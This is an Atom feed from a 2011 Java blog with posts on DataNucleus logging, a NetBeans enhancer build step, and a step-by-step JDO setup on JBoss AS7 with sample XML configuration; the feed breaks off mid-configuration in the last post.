<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;D0IFR3k6cCp7ImA9WhRRFEk.&quot;"><id>tag:blogger.com,1999:blog-7811313566645564123</id><updated>2011-11-28T07:28:36.718+05:30</updated><category term="datanucleus" /><category term="ejb3" /><category term="REST" /><category term="Seam" /><category term="REST-assured" /><category term="Jboss" /><category term="vetan" /><category term="resteasy" /><category term="restassured" /><category term="Misc" /><category term="compareValue" /><category term="RestifiedTrader" /><category term="isEqualNode" /><category term="Security" /><category term="DayTrader" /><category term="JDO" /><category term="JEE" /><category term="XMLBeans" /><category term="RIA" /><category term="BizSutra" /><category term="netbeans" /><title>jkook</title><subtitle type="html">ramblings on software</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://jkook.blogspot.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://jkook.blogspot.com/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" /><author><name>Kiran.Kumar M</name><uri>http://www.blogger.com/profile/01324349914910981544</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-aaM9szVmAUU/TXHAszd2Y8I/AAAAAAAAAKg/SinXOCC4tc4/s220/100_0305.JPG" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>40</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/Jkook" /><feedburner:info uri="jkook" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><link rel="license" type="text/html" href="http://creativecommons.org/licenses/by-nc/3.0/" /><logo>http://creativecommons.org/images/public/somerights20.gif</logo><feedburner:emailServiceId>Jkook</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><entry gd:etag="W/&quot;CEMDQnozfip7ImA9WhdREkU.&quot;"><id>tag:blogger.com,1999:blog-7811313566645564123.post-5528396954784528330</id><published>2011-08-02T16:24:00.000+05:30</published><updated>2011-08-02T16:24:33.486+05:30</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-08-02T16:24:33.486+05:30</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="datanucleus" /><category scheme="http://www.blogger.com/atom/ns#" term="netbeans" /><category scheme="http://www.blogger.com/atom/ns#" term="Jboss" /><title>Enable DataNucleus logs in Jboss AS7</title><content type="html">
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/2yz9grabFsKHsh9qMY95_Lt8Xmo/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/2yz9grabFsKHsh9qMY95_Lt8Xmo/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/2yz9grabFsKHsh9qMY95_Lt8Xmo/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/2yz9grabFsKHsh9qMY95_Lt8Xmo/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;Jboss AS7 has a new logging system. It has a centralized configuration. There are only two configuration files a) standalone.xml b) domain.xml. Standalone.xml is used when jboss is running in standalone mode. domain.xml is used in domain mode. It is recommend that these file should be changed only through management api or command line features provided by jboss. It is convenient for the developer to know the &lt;b&gt;standalone.xml&lt;/b&gt;. Every thing (almost ) in AS7 is a module or a subsystem. To get desired results one has to locate the subsystem and add his changes. For logging the subsystem is &lt;b&gt;urn:jboss:domain:logging:1.0&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
There are two handlers &amp;lt;console-handler&amp;gt; and a &amp;lt;periodic-rotating-file-handler&amp;gt;&lt;br /&gt;
There can be many &amp;lt;loggers&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The below logger will log every thing from &lt;b&gt;DataNucleus&lt;/b&gt;&lt;br /&gt;
&amp;lt;logger category="DataNucleus"&amp;gt;&lt;br /&gt;
&amp;lt;level name="DEBUG"&amp;gt;&lt;br /&gt;
&amp;lt;/level&amp;gt;&amp;lt;/logger&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This one restricts to &lt;b&gt;JDO&lt;/b&gt;&lt;br /&gt;
&amp;lt;logger category="DataNucleus.JDO"&amp;gt;&lt;br /&gt;
&amp;lt;level name="DEBUG"&amp;gt;&lt;br /&gt;
&amp;lt;/level&amp;gt;&amp;lt;/logger&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Detailed list of loggers are here http://www.datanucleus.org/products/accessplatform_3_0/logging.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Wait why cant I see the debug logs ?&amp;nbsp; Because you have to increase log level of your preferred handler. I have choosen to log into a FILE as below&lt;br /&gt;
&amp;lt;periodic-rotating-file-handler autoflush="true" name="FILE"&amp;gt;&lt;br /&gt;
&amp;lt;level name="DEBUG"&amp;gt;&lt;br /&gt;
&amp;lt;formatter&amp;gt;&lt;br /&gt;
&amp;lt;pattern-formatter pattern="%d{HH:mm:ss,SSS} %-5p [%c] (%t) %s%E%n"&amp;gt;&lt;br /&gt;
&amp;lt;/pattern-formatter&amp;gt;&amp;lt;/formatter&amp;gt;&lt;br /&gt;
&amp;lt;file path="server.log" relative-to="jboss.server.log.dir"&amp;gt;&lt;br /&gt;
&amp;lt;suffix value=".yyyy-MM-dd"&amp;gt;&lt;br /&gt;
&amp;lt;/suffix&amp;gt;&amp;lt;/file&amp;gt;&amp;lt;/level&amp;gt;&amp;lt;/periodic-rotating-file-handler&amp;gt;&amp;lt;/loggers&amp;gt;&amp;lt;/periodic-rotating-file-handler&amp;gt;&amp;lt;/console-handler&amp;gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7811313566645564123-5528396954784528330?l=jkook.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Jkook/~4/uLEmsX7FVJ8" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://jkook.blogspot.com/feeds/5528396954784528330/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=7811313566645564123&amp;postID=5528396954784528330" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/5528396954784528330?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/5528396954784528330?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Jkook/~3/uLEmsX7FVJ8/enable-datanucleus-logs-in-jboss-as7.html" title="Enable DataNucleus logs in Jboss AS7" /><author><name>Kiran.Kumar M</name><uri>http://www.blogger.com/profile/01324349914910981544</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-aaM9szVmAUU/TXHAszd2Y8I/AAAAAAAAAKg/SinXOCC4tc4/s220/100_0305.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://jkook.blogspot.com/2011/08/enable-datanucleus-logs-in-jboss-as7.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUUBQ3o_cSp7ImA9WhdSGU4.&quot;"><id>tag:blogger.com,1999:blog-7811313566645564123.post-8061628216047895119</id><published>2011-07-29T15:16:00.002+05:30</published><updated>2011-07-29T15:24:12.449+05:30</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-07-29T15:24:12.449+05:30</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="JDO" /><category scheme="http://www.blogger.com/atom/ns#" term="datanucleus" /><category scheme="http://www.blogger.com/atom/ns#" term="netbeans" /><title>NetBeans7 integration with Datanucleus JDO</title><content type="html">
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/tK2_5r5LGyyF9ZT97emgJok7Irs/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/tK2_5r5LGyyF9ZT97emgJok7Irs/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/tK2_5r5LGyyF9ZT97emgJok7Irs/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/tK2_5r5LGyyF9ZT97emgJok7Irs/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;The most important step in developing application with DataNucleus is enhancement of compiled classes. NetBeans provides powerful features for integrating the build enviromnet for Datanucleus with out any need of plugin.&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Maven :-&lt;/strong&gt; NetBeans has a native integration with maven. Any datanucleus project based on maven will open and run as is with netbeans. No changes are needed in the project nor in netbeans.&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;ANT :- &lt;/strong&gt;The default build system in netbeans is Ant. Follow through for steps involved. There are two types of enhancement. 1) When we need typesafe queries datanucleus provides annotation processor. 2)Byte Code enhancement by datanucleus enhancer.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Requirements&lt;/b&gt;&lt;br /&gt;
1. Datanucleus from &lt;a href="http://sourceforge.net/projects/datanucleus/files/datanucleus-accessplatform/"&gt;http://sourceforge.net/projects/datanucleus/files/datanucleus-accessplatform/&lt;/a&gt;&amp;nbsp;choose datanucleus-accessplatform-full-deps-3.0.0-m6.zip it has most of it. &lt;br /&gt;
2. &lt;a href="http://sourceforge.net/projects/datanucleus/files/datanucleus-jca/"&gt;http://sourceforge.net/projects/datanucleus/files/datanucleus-jca/&lt;/a&gt;&amp;nbsp;needed if you are working with JavaEE&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Setup Libraries for datanucleus&lt;/b&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Datanucleus - Containing all files from lib folder &lt;/li&gt;
&lt;li&gt;Datanucleusdeps - Containing all files from deps folder&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;strong&gt;TypeSafe Queries&lt;/strong&gt; :- Datanucleus generates addtional code for supporting type safe queries. Ensure that "Enable Annotion processing" check box is selected, which is under Project Properties | build | compiling &lt;br /&gt;
&lt;strong&gt;Enhancer :- &lt;/strong&gt;Datanucleus provides an ant task to enhancement. This task has to be executed just after compiling all the classes in the project. Open the files tab and localte the build.xml . Paste the below code before the end of &amp;nbsp;&lt;/project&gt; &lt;br /&gt;
&lt;pre class="prettyprint"&gt;&amp;lt;target name="-post-compile" depends="init"&amp;gt;
&amp;lt;path id="module.enhancer.classpath"&amp;gt;
&amp;lt;pathelement path="${javac.classpath}"/&amp;gt;
&amp;lt;pathelement location="${build.classes.dir}"/&amp;gt;
&amp;lt;/path&amp;gt;
&amp;lt;taskdef name="datanucleusenhancer" classpathref="module.enhancer.classpath"
classname="org.datanucleus.enhancer.tools.EnhancerTask" /&amp;gt;
&amp;lt;echo message="start datanucleusenhancer"/&amp;gt;
&amp;lt;datanucleusenhancer classpathref="module.enhancer.classpath" dir="${build.classes.dir}" verbose="true"&amp;gt;
&amp;lt;fileset dir="${build.classes.dir}/com/blogspot/jkook/daytrader/jdo/"&amp;gt;
&amp;lt;include name="**/*.class"/&amp;gt;
&amp;lt;/fileset&amp;gt;
&amp;lt;/datanucleusenhancer&amp;gt;
&amp;lt;echo message="end datanucleusenhancer"/&amp;gt;
&amp;lt;/target&amp;gt;
&lt;/pre&gt;&lt;br /&gt;
You output screen will show a log smilar as below&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
Compiling 5 source files to /NetBeansProjects/JDOTutorial/build/web/WEB-INF/classes&lt;br /&gt;
&lt;span style="color: red;"&gt;DataNucleus : JDO Query - com.blogspot.jkook.daytrader.jdo.JDOOrderData -&amp;gt; com.blogspot.jkook.daytrader.jdo.QJDOOrderData&lt;/span&gt;&lt;br /&gt;
Note: Some input files use unchecked or unsafe operations.&lt;br /&gt;
Note: Recompile with -Xlint:unchecked for details.&lt;br /&gt;
Copying 2 files to /NetBeansProjects/JDOTutorial/build/web/WEB-INF/classes&lt;br /&gt;
&lt;span style="color: red;"&gt;start datanucleusenhancer&lt;/span&gt;&lt;br /&gt;
Jul 29, 2011 2:40:36 PM org.datanucleus.enhancer.DataNucleusEnhancer &lt;init&gt;&lt;br /&gt;
INFO: DataNucleus Enhancer : Using ClassEnhancer "ASM" for API "JDO"&lt;br /&gt;
Jul 29, 2011 2:40:37 PM org.datanucleus.enhancer.DataNucleusEnhancer main&lt;br /&gt;
INFO: DataNucleus Enhancer (version 3.0.0.m6) : Enhancement of classes&lt;br /&gt;
DataNucleus Enhancer (version 3.0.0.m6) : Enhancement of classes&lt;br /&gt;
Jul 29, 2011 2:40:38 PM org.datanucleus.api.jdo.metadata.JDOAnnotationReader processClassAnnotations&lt;br /&gt;
INFO: Class "com.blogspot.jkook.daytrader.jdo.JDOOrderData" has been specified with JDO annotations so using those.&lt;br /&gt;
Jul 29, 2011 2:40:38 PM org.datanucleus.metadata.MetaDataManager loadClasses&lt;br /&gt;
INFO: Class "com.blogspot.jkook.daytrader.jdo.QJDOOrderData" has no MetaData or annotations.&lt;br /&gt;
Jul 29, 2011 2:40:38 PM org.datanucleus.enhancer.AbstractClassEnhancer save&lt;br /&gt;
INFO: Writing class file "/NetBeansProjects/JDOTutorial/build/web/WEB-INF/classes/com/blogspot/jkook/daytrader/jdo/JDOOrderData.class" with enhanced definition&lt;br /&gt;
Jul 29, 2011 2:40:38 PM org.datanucleus.enhancer.DataNucleusEnhancer addMessage&lt;br /&gt;
INFO: DataNucleus Enhancer completed with success for 1 classes. Timings : input=514 ms, enhance=290 ms, total=804 ms. Consult the log for full details&lt;br /&gt;
DataNucleus Enhancer completed with success for 1 classes. Timings : input=514 ms, enhance=290 ms, total=804 ms. Consult the log for full details&lt;br /&gt;
&lt;span style="color: red;"&gt;end datanucleusenhancer&lt;/span&gt; &lt;br /&gt;
&lt;span style="color: red;"&gt;&lt;/span&gt;&amp;nbsp; &lt;br /&gt;
compile:&lt;br /&gt;
compile-jsps:&lt;br /&gt;
Created dir:  /NetBeansProjects/JDOTutorial/dist&lt;br /&gt;
Building jar:  /NetBeansProjects/JDOTutorial/dist/JDOTutorial.war&lt;br /&gt;
do-dist:&lt;br /&gt;
dist:&lt;br /&gt;
&lt;span style="color: lime;"&gt;BUILD SUCCESSFUL (total time: 6 seconds)&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
The first red line is from the datanucleus annotation processor&lt;br /&gt;
Next two red lines are from the ant task we just added&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7811313566645564123-8061628216047895119?l=jkook.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Jkook/~4/Ac1MD0SrYrg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://jkook.blogspot.com/feeds/8061628216047895119/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=7811313566645564123&amp;postID=8061628216047895119" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/8061628216047895119?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/8061628216047895119?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Jkook/~3/Ac1MD0SrYrg/netbeans7-integration-with-datanucleus.html" title="NetBeans7 integration with Datanucleus JDO" /><author><name>Kiran.Kumar M</name><uri>http://www.blogger.com/profile/01324349914910981544</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-aaM9szVmAUU/TXHAszd2Y8I/AAAAAAAAAKg/SinXOCC4tc4/s220/100_0305.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://jkook.blogspot.com/2011/07/netbeans7-integration-with-datanucleus.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEYAQXs-eSp7ImA9WhdREEk.&quot;"><id>tag:blogger.com,1999:blog-7811313566645564123.post-6855697719898857607</id><published>2011-07-29T12:26:00.027+05:30</published><updated>2011-07-30T21:39:00.551+05:30</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-07-30T21:39:00.551+05:30</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="JDO" /><category scheme="http://www.blogger.com/atom/ns#" term="datanucleus" /><category scheme="http://www.blogger.com/atom/ns#" term="DayTrader" /><category scheme="http://www.blogger.com/atom/ns#" term="Jboss" /><title>Getting started with JDO on Jboss AS7 in Seven Steps</title><content type="html">
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/QZt6t88IHXGdff1xWXju1erRG-E/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/QZt6t88IHXGdff1xWXju1erRG-E/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/QZt6t88IHXGdff1xWXju1erRG-E/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/QZt6t88IHXGdff1xWXju1erRG-E/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;a href="http://www.jboss.org/as7"&gt;Jboss as7&lt;/a&gt; is the latest JavaEE6 server while &lt;a href="http://www.datanucleus.org/"&gt;Datanucleus&lt;/a&gt; is the greatest peristance(JDO) implementation. Integrating these two softwares is straight forward. However to be able to leverage all the power of JavaEE and also enjoy power of JDO I will engage you in a seven step process&lt;br /&gt;
&lt;br /&gt;
1.Download AS7 and Datanucleus&lt;br /&gt;
2.Install Jboss As 7&lt;br /&gt;
3.Install and configure jdbcdriver/ datasource&lt;br /&gt;
4.Install Datanucleus as jboss module&lt;br /&gt;
5.Install Datanucleus JCA&lt;br /&gt;
6.Configure Datanucleus&lt;br /&gt;
7.Access the PersistenceManager&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Step 1. Download AS7 and Datanucleus&lt;/b&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.jboss.org/as7"&gt;http://www.jboss.org/as7&lt;/a&gt;&amp;nbsp;- I have jboss-as-7.0.0.Final&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sourceforge.net/projects/datanucleus/files/datanucleus-accessplatform/"&gt;http://sourceforge.net/projects/datanucleus/files/datanucleus-accessplatform/&lt;/a&gt;&amp;nbsp;- I have datanucleus-accessplatform-full-deps-3.0.0-m6.zip&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sourceforge.net/projects/datanucleus/files/datanucleus-jca/"&gt;http://sourceforge.net/projects/datanucleus/files/datanucleus-jca/&lt;/a&gt;&amp;nbsp;- I have datanucleus-jca-3.0.0-m6.rar&lt;/li&gt;
&lt;/ul&gt;&lt;b&gt;Step 2. Install Jboss AS 7&lt;/b&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;unzip into $home/jboss-as-7.0.0.Final -- Thats it &lt;/li&gt;
&lt;/ul&gt;Jboss AS 7 is new server and its going to be a new new experice one stay with me on this wonderful flight. It loads fast &amp;lt;3s. Configuration is controlled by single file standalone.xml or domain.xml. Two modes of operation standalone and domain mode we will work in standalone mode. Modular server with osgi support Upgraded to JCA 1.6. Classloading is entirely fresh. Ofcource I have listed very few which are relavant here. &lt;br /&gt;
Start the server $home/jboss-as-7.0.0.Final/bin/standalone.sh and open &lt;a href="http://localhost:8080/"&gt;http://localhost:8080/&lt;/a&gt; &lt;br /&gt;
Expect to see this banner “Welcome to AS 7”. Jboss7 runs runs in two modes standalone and domain. In standalone mode it uses standalone.xml and in Domain mode it looks for domain.xml. In this exercise we are intrested in standalone.xml &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Step 3. Install and configure jdbcdriver/ datasource&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Very simple drop the driver in $home/jboss-as-7.0.0.Final/standalone/deployments. Yes believe me you have installed the driver and ready for use. &lt;br /&gt;
Next we need two datasources&amp;nbsp;one Managed and other non managed. So i created java:jboss/datasources/TradeDBDS which has jta="false" and java:jboss/datasources/TradeDBDSJTA with jta="true"&lt;br /&gt;
Every thing in Jboss as7 is a module and controlled by respective subsystem. The datasource is managed by &lt;br /&gt;
&lt;pre&gt;urn:jboss:domain:datasources:1.0.&lt;/pre&gt;Locate it in your standalone.xml. Below is the sample datasource&lt;br /&gt;
&lt;pre class="prettyprint"&gt;&amp;lt;subsystem xmlns="urn:jboss:domain:datasources:1.0"&amp;gt;
&amp;lt;datasource jndi-name="java:jboss/datasources/TradeDBDS" pool-name="TRADEDB_Pool" enabled="true" jta="false" use-java-context="true" use-ccm="true"&amp;gt;
&amp;lt;connection-url&amp;gt;
jdbc:oracle:thin:@10.10.10.10:1521:orcl11g
&amp;lt;/connection-url&amp;gt;
&amp;lt;driver&amp;gt;
ojdbc6.jar
&amp;lt;/driver&amp;gt;
&amp;lt;pool&amp;gt;
&amp;lt;min-pool-size&amp;gt;
1
&amp;lt;/min-pool-size&amp;gt;
&amp;lt;max-pool-size&amp;gt;
2
&amp;lt;/max-pool-size&amp;gt;
&amp;lt;prefill&amp;gt;
true
&amp;lt;/prefill&amp;gt;
&amp;lt;use-strict-min&amp;gt;
false
&amp;lt;/use-strict-min&amp;gt;
&amp;lt;flush-strategy&amp;gt;
FailingConnectionOnly
&amp;lt;/flush-strategy&amp;gt;
&amp;lt;/pool&amp;gt;
&amp;lt;security&amp;gt;
&amp;lt;user-name&amp;gt;
tradedb
&amp;lt;/user-name&amp;gt;
&amp;lt;password&amp;gt;
keepguessing
&amp;lt;/password&amp;gt;
&amp;lt;/security&amp;gt;
&amp;lt;/datasource&amp;gt;
&amp;lt;/subsystem&amp;gt;
&lt;/pre&gt;&lt;b&gt;Step 4. Install Datanucleus as jboss module&lt;/b&gt;&lt;br /&gt;
The libraries inside the webapplication cannot access the libraries in the JCA connector. Jboss takes care of JavaEE libraries such that all the webapplications have proper access. Since jdo is not part of javaEE we have to tell Jboss to share these libraries with all web applications. The trick is very easy&lt;br /&gt;
Create a folder $home/jboss-as-7.0.0.Final/modules/javax/jdo/main. Copy following files datanucleus-api-jdo-3.0.0-m6.jar, datanucleus-cache-3.0.0-m4.jar,datanucleus-core-3.0.0-m6.jar,datanucleus-jdo-query-3.0.0-m3.jar,datanucleus-rdbms-3.0.0-m6.jar,jdo-api-3.1-SNAPSHOT-20110319.jar. &lt;br /&gt;
Notice the folder main&lt;br /&gt;
Create a file module.xml. Contents as follows&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="prettyprint"&gt;&amp;lt;module name="javax.jdo" xmlns="urn:jboss:module:1.0"&amp;gt;
&amp;lt;resources&amp;gt;
&amp;lt;resource-root path="datanucleus-api-jdo-3.0.0-m6.jar"&amp;gt;&amp;lt;/resource-root&amp;gt;
&amp;lt;resource-root path="datanucleus-cache-3.0.0-m4.jar"&amp;gt;&amp;lt;/resource-root&amp;gt;
&amp;lt;resource-root path="datanucleus-core-3.0.0-m6.jar"&amp;gt;&amp;lt;/resource-root&amp;gt;
&amp;lt;resource-root path="datanucleus-jdo-query-3.0.0-m3.jar"&amp;gt;&amp;lt;/resource-root&amp;gt;
&amp;lt;resource-root path="datanucleus-rdbms-3.0.0-m6.jar"&amp;gt;&amp;lt;/resource-root&amp;gt;
&amp;lt;resource-root path="jdo-api-3.1-SNAPSHOT-20110319.jar"&amp;gt;&amp;lt;/resource-root&amp;gt;
&amp;lt;/resources&amp;gt;
&amp;lt;dependencies&amp;gt;
&amp;lt;module name="javax.api"&amp;gt;&amp;lt;/module&amp;gt;
&amp;lt;module name="javax.transaction.api"&amp;gt;&amp;lt;/module&amp;gt;
&amp;lt;/dependencies&amp;gt;
&amp;lt;/module&amp;gt;
&lt;/pre&gt;Let the classlaoder majick take over&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Step 5 Install Datanucleus JCA&lt;/b&gt;&lt;br /&gt;
Open the rar file remove all the jars except datanucleus-jca-3.0.0-m6.jar. Remove all xml files except plugin.xml. Edit ra.xml inside META-INF folder replace the contents with &lt;br /&gt;
&lt;br /&gt;
&lt;pre class="prettyprint"&gt;&amp;lt;connector&amp;gt;
&amp;lt;display-name&amp;gt;DataNucleus Connector&amp;lt;/display-name&amp;gt;
&amp;lt;description&amp;gt;&amp;lt;/description&amp;gt;
&amp;lt;vendor-name&amp;gt;DataNucleus&amp;lt;/vendor-name&amp;gt;
&amp;lt;spec-version&amp;gt;1.0&amp;lt;/spec-version&amp;gt;
&amp;lt;eis-type&amp;gt;JDO Adaptor&amp;lt;/eis-type&amp;gt;
&amp;lt;version&amp;gt;1.0&amp;lt;/version&amp;gt;
&amp;lt;resourceadapter&amp;gt;
&amp;lt;managedconnectionfactory-class&amp;gt;org.datanucleus.jdo.connector.ManagedConnectionFactoryImpl&amp;lt;/managedconnectionfactory-class&amp;gt;
&amp;lt;connectionfactory-interface&amp;gt;javax.resource.cci.ConnectionFactory&amp;lt;/connectionfactory-interface&amp;gt;
&amp;lt;connectionfactory-impl-class&amp;gt;org.datanucleus.jdo.connector.PersistenceManagerFactoryImpl&amp;lt;/connectionfactory-impl-class&amp;gt;
&amp;lt;connection-interface&amp;gt;javax.resource.cci.Connection&amp;lt;/connection-interface&amp;gt;
&amp;lt;connection-impl-class&amp;gt;org.datanucleus.jdo.connector.PersistenceManagerImpl&amp;lt;/connection-impl-class&amp;gt;
&amp;lt;transaction-support&amp;gt;LocalTransaction&amp;lt;/transaction-support&amp;gt;
&amp;lt;config-property&amp;gt;
&amp;lt;config-property-name&amp;gt;PersistenceUnitName&amp;lt;/config-property-name&amp;gt;
&amp;lt;config-property-type&amp;gt;java.lang.String&amp;lt;/config-property-type&amp;gt;
&amp;lt;config-property-value&amp;gt;"pu"&amp;lt;/config-property-value&amp;gt;
&amp;lt;/config-property&amp;gt;
&amp;lt;config-property&amp;gt;
&amp;lt;config-property-name&amp;gt;PersistenceXmlFilename&amp;lt;/config-property-name&amp;gt;
&amp;lt;config-property-type&amp;gt;java.lang.String&amp;lt;/config-property-type&amp;gt;
&amp;lt;config-property-value&amp;gt;file:///data1/jboss-as-7.0.0.Final/standalone/deployments/jdopersistence.xml&amp;lt;/config-property-value&amp;gt;
&amp;lt;/config-property&amp;gt;
&amp;lt;authentication-mechanism&amp;gt;
&amp;lt;authentication-mechanism-type&amp;gt;BasicPassword&amp;lt;/authentication-mechanism-type&amp;gt;
&amp;lt;credential-interface&amp;gt;javax.resource.spi.security.PasswordCredential&amp;lt;/credential-interface&amp;gt;
&amp;lt;/authentication-mechanism&amp;gt;
&amp;lt;reauthentication-support&amp;gt;false&amp;lt;/reauthentication-support&amp;gt;
&amp;lt;/resourceadapter&amp;gt;
&amp;lt;/connector&amp;gt;&lt;/pre&gt;The important properties are &lt;b&gt;PersistenceUnitName and PersistenceXmlFilename&lt;/b&gt;. &lt;br /&gt;
PersistenceUnitName has to be same across other files ie, standalone.xml and jdopersistance.xml. I am using pu. &lt;strike&gt;To work around an known issue we have to xmlescape the characters around pu &lt;/strike&gt;&lt;br /&gt;
PersistenceXmlFilename should point to the full path.&lt;br /&gt;
Add a file jboss-deployment-structure.xml in META-INF folder&lt;br /&gt;
&lt;pre class="prettyprint"&gt;&amp;lt;jboss-deployment-structure&amp;gt;
&amp;lt;deployment&amp;gt;
&amp;lt;exclusions&amp;gt;
&amp;lt;/exclusions&amp;gt;
&amp;lt;dependencies&amp;gt;
&amp;lt;module name="javax.jdo"/&amp;gt;
&amp;lt;/dependencies&amp;gt;
&amp;lt;/deployment&amp;gt;
&amp;lt;/jboss-deployment-structure&amp;gt;&lt;/pre&gt;This file tells jboss to load JCA after loading datanucleus(javax.jdo)&lt;br /&gt;
&lt;br /&gt;
We can access the resource-adapter via JNDI. We need to inform Jboss the JNDI location where the persistanceManagerFactory should be available. Open standalone.xml and locate the subsystem for resource-adapter and copy the below configuration.&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="prettyprint"&gt;&amp;lt;subsystem xmlns="urn:jboss:domain:resource-adapters:1.0"&amp;gt;
&amp;lt;resource-adapters&amp;gt;
&amp;lt;resource-adapter&amp;gt;
&amp;lt;archive&amp;gt;
datanucleus-jca-3.0.0-m6.rar
&amp;lt;/archive&amp;gt;
&amp;lt;connection-definitions&amp;gt;
&amp;lt;connection-definition
class-name="org.datanucleus.jdo.connector.ManagedConnectionFactoryImpl"
jndi-name="java:/TraderDB-PU"
enabled="true" use-java-context="true"
pool-name="DNConnectionFactory"
use-ccm="true"&amp;gt;
&amp;lt;config-property name="PersistenceUnitName"&amp;gt;
pu
&amp;lt;/config-property&amp;gt;
&amp;lt;/connection-definitions&amp;gt;
&amp;lt;/connection-definitions&amp;gt;
&amp;lt;/resource-adapter&amp;gt;
